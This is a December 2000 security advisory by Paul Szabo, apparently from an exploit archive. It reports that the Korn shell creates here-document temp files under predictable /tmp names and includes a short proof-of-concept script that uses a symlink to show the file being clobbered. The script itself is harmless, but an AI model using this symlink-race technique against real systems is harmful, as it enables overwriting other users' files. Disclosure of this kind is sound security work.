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ksh.temp-hole.txt

ksh.temp-hole.txt
Posted Dec 22, 2000
Authored by Paul Szabo

The Korn Shell (ksh) uses temp files in an insecure manner. Demonstration included.

tags | exploit, shell
SHA-256 | 46bf095b3af47f5a39cd2ce0d8c077e482095e3d43d2cc6b15980c73f2114313

ksh.temp-hole.txt

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   Author:     Paul Szabo < psz@maths.usyd.edu.au >

Recently I reported that, similarly to the recently discussed tcsh
vulnerability, the Bourne shell /bin/sh creates temporary files in an
insecure way:

http://www.securityfocus.com/templates/archive.pike?list=1&msg=200011230225.N
AA19716@milan.maths.usyd.edu.au

At the time I also tested the Korn shell ksh, and it seemed safe... but no,
ksh is in fact also vulnerable. (Is this all shells? We have seen tcsh,
bash, sh and now ksh fail...)

Demonstration (ksh is vulnerable if the size of silly.1 is changed):

#!/bin/ksh -x
touch /tmp/silly.1
ln -s /tmp/silly.1 /tmp/sh$$.1
ls -l /tmp/silly.* /tmp/sh$$.*
cat <<EOF
Just some short text
EOF
ls -l /tmp/silly.* /tmp/sh$$.*
rm /tmp/silly.* /tmp/sh$$.*

Paul Szabo - psz@maths.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics University of Sydney 2006 Australia
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